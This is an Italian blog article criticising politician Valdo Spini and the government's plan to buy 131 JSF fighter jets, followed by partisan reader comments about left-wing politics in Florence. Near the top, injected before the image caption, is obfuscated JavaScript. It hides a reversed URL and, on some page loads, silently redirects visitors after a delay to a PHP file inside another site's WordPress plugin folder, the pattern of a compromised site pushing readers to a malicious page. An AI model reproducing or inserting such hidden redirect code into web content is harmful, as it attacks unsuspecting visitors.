Prima Spini ora Berlusconi, il business dei caccia JSF non tramonta mai

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/04/caccia.jpg”>cacciaIl governo italiano sta per spendere 14 miliardi di euro per la produzione e l’acquisto di 131 cacciabombardieri Joint Strike Fighters (JSF). Si tratta di una decisione irresponsabile sia per la politica di riarmo che tale scelta rappresenta, sia per le risorse che vengono destinante a un programma sovradimensionato nei costi sia per la sua incoerenza (si tratta di un aereo da attacco, predisposto per il trasporto di ordigni nucleari) con lo spirito dell’Articolo 11 della Costituzione che ripudia la guerra.

In un momento di grave crisi economica in  cui non si riescono a trovare risorse per gli ammortizzatori sociali per i disoccupati e vengono tagliati i finanziamenti pubblici alla scuola, all’università e alle politiche sociali, destinare 14 miliardi di euro alla costruzione di 131 cacciabombardieri è una scelta sbagliata e incompatibile con la situazione sociale del paese.

La scelta di Berlusconi di portare avanti il progetto interessa però anche l’attuale contingenza politica fiorentina. Valdo Spini, candidato a sindaco di Verdi, Rifondazione e Repubblicani, è stato infatti uno dei primi politici italiani ad aprire la strada ai 131 caccia che rappresentano uno dei più avanzati strumenti di terrore e distruzione oggi disponibili sul mercato delle armi. Nel marzo del 2000 Spini, come presidente della Commissione Difesa della Camera, fu tra coloro che sostenne l’interessamento dell’industria delle armi italiana affinché partecipasse al progetto anglo-americano Joint Strike Fighter (JSF) e si fece garante verso gli USA del rispetto delle regole di sicurezza e segretezza necessarie alla costruzione degli aerei. L’agenzia Ansa titolò eloquentemente le dichiarazioni di Spini: «Difesa: anche l’Italia interessata a nuovo aereo JSF»

In quell’occasione Spini si lamentò inoltre anche del fatto che l’Italia destinasse al bilancio della difesa poche risorse solo «poco più dell’1% del Pil, contro il 2-3% degli altri Paesi», rammaricandosi del gap tecnologico con gli USA che definì «molto elevato, come ha dimostrato la recente guerra in Kosovo». E’ interessante conoscere infine che in quell’occasione Valdo Spini – riferendosi alle scelte societarie di Finmeccanica, la maggiore azienda pubblica italiana produttrice di armi – relegò la politica in secondo piano rispetto al business della guerra affermando testualmente: «Credo che dovrà soppesare le diverse opzioni, naturalmente consultandosi con il Governo, ma alla fine dovrà decidere unicamente sulla base di criteri di politica industriale, senza vincoli politici». Alla faccia della Costituzione.

La Campagna Sbilanciamoci ha promosso un appello per bloccare questa sconsiderata scelta di guerra, che i i 131 cacciabombardieri Joint Strike Fighters restino nel libro dei sogni. E’ possibile sottoscriverlo inviando una mail a info@sbilanciamoci.org.

0 Comments

  1. Gisberto Gallucci

    Si proclamano di sinistra solo prima delle elezioni, poi magari quando sono al governo fanno tuttaltro. Come definire oggi la sinistra, se non una forza contro le guerre a favore del disarmo, per la ridistribuzione della ricchezza, e per la democrazia reale?

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  2. Riccardo

    Non diciamo baggianate! allora dovremmo parlare della campagna antipartitica e d’immagine della DeZordo comprese le sue mire da candidata sindaco.
    In soldoni ciò che ha fatto saltare l’alleanza di tutta la Sinistra a Firenze. Come le vogliamo chiamare queste se non posizioni destrorse?

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  3. red

    Consigliamo a Riccardo e ai sostenitori del sinistro Valdo di leggere questo articolo Elezioni, Frias: «Prc con Valdo Spini? Una decisione staliniana». Così sarà possibile fare chiarezza sulla dinamica che ha portato alla candidatura Spini per una parte della sinistra. E poi anche questo Spini: «La guerra in Kosovo? Una semplice azione militare». Capiamo che può essere una lettura indigesta ma si tratta della pura e semplice verità, altro che baggianate. Buona giornata.

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  4. astroboy

    Purtroppo questa politica militarista continua e proprio con questo centrosinistra (ottimamente rappresentato da valdo spini) ha raggiunto l’apice. I governi di sinistra hanno (tra le tante colpe) anche quella di aver sempre aumentato la spesa militare!
    Io voglio una vera sinistra: di pace, di progresso, di equità di diritti e di opportunità. Una sinistra che stia con le minoranze, e che investa i soldi prima destinati alle armi in giustizia sociale!

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  5. Niccolò

    ora che c’è stato sto flagello del terremoto quei miliardi saprei bene come potevano essere spesi e se anche non ci fosse stato il terremoto si sarebbero investiti in modo più ragionevole destinandoli alla scienza e alla ricerca lato sensu. Sono un’amante delle facilonerie io.
    Campagna antipartitica? A parte che avendo seguito tutti i candidati da che si sono palesati, direi che la nostra De Zordo di antipartitico non ha fatto proprio nulla..poi scusa cosa intendi per campagna antipartitica? Non ha mai detto “il Pd puzza e il PDL è brutto” si limita solo ad evidenziare la loro predisposizione all’affarismo piuttosto che alla politica come servizio…non a caso ha sollevato la questione Castello e la magistratura ha messo i sigilli anche sulle buche scavate dalle talpe…
    Cosa ti aspettavi? Doveva tessere le lodi dei partiti che vogliono affossare Firenze?!
    Tra l’altro leggiti bene l’articolo in link, contiene un’intervista fatta ad una persona super partes -direi- visto che non è tra i nostri ranghi. Dimostra come l’approccio personalistico fosse di spini e non della De Zordo visto che quest’ultima ha partecipato in prima persona senza mai imporre la sua candidatura mentre il primo ha partecipato tramite un delegato che aveva il mandato: “O accettano la mia candidatura O vieni via”. Siccome sulla candidatura si voleva ragionare il rappresentate di spini ha levato le tende…
    Quando poi Ornella ha lasciato il tavolo, spini, che uscito dalla porta, è rientrato dalla finestra, come la religione a scuola, parlando di laicità…
    Il tuo commento è fedele al vero come casanova a sua moglie!
    Ma come sempre, misinformation rulez…

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  6. fire

    Come al solito c’è chi indica la luna e chi vede il dito! Se Ornella de Zordo denuncia le pratiche poco trasparenti dei partiti è lei che fa antipolitica, non chi ha ridotto la polica nello stato in cui è con le pratiche denunciate.
    Da 5 anni ci sentiamo ripetere la solita solfa, siete fuori dalla politica, siete politicamente isolati:
    1- isolati in politica? Può essere, ma non in città, presso le realtà attive e che la sinistra l’hanno praticata, non ne hanno solo parlato ( basta andare a vedere le provenienze de* nostr* candidat*)
    2- le nostre radici culturali e la nostra pratica sono nel tentativo di cambiare e di dimostrare, nel nostro piccolo, che è anche possibile rapportarsi in maniera diversa con il sistema politico e comunque essere incisivi (cfr Multiplex, Castello, Piano strutturale)
    Se siamo soddisfatti di una politica fatta solo nelle segreterie e nei congressi di partito e che si ricorda della società solo al momento delle elezioni, ok andiamo, anzi andate avanti così, noi abbiamo scelto un’altra strada. Non è detto che sia l’unica, ma almeno ci abbiamo provato…
    Ricordare la provenienza cultural-politica e la declinazione pratica di tali radici di chi si propone come nuovo non credo che sia diffamatorio, ma certo pone in discussione, per chi ha ancora voglia di mettere qualcosa in dioscussione, la credibilità della posizione, o no?
    Ultimo argomento Ornella De Zordo ha partecipato attivamente a tutti i tentativi fatti a livello nazionale per unificare la sinistra, dal Forum Programmatico di Patta, alla Camera di Consultazione di Asor Rosa (per brevità e per capirci) e questa è storia, non è certo stata lei a farli fallire, ma le logiche miopi e velleitarie dei partiti ed il loro bisogno di autoconservazione,il reiterato e colpevole considerare la propria sopravvivenza come più importante di un progetto politico alternativo, ampio, di respiro. E ora sono tutti campioni dell’Unità come valore fondante? Come diceva il maestro “ma mi facci il piacere….”

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  7. Fiorentino

    ma per piacere… questa è roba da denuncia… Spini può piacere o non può piacere ma è un compagno che ha fatto le lotte operaie e si è fatto denunciare, è sempre stato nel movimento dei lavoratori… qui la questione non è essere sostenitori di Valdo o no, ma nel vedere ambienti presunti di sinistra che si prestano a psudogiornalismo spazzatura (non fazioso: proprio spazzatura) e a lavorare non per l’unità per la sinistra ma per le divisioni … e sono per le ambizioni di una accademica sprezzante che non sa nemmeno che cos’è il movimento operaio e che è solo arrabbiata perchè non l’hanno voluta ricandidare alla poltrona… che ha fatto la de zordo in 5 anni di consiglio comunale a parte che parlare di biciclette e di farfalle? si dovrebbe vergognare e se ne dovrebbe stare a casa invece di gettare fango su un galantuomo come Valdo Spini…

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  8. Pingback: Dossier Spini | l'Altracittà

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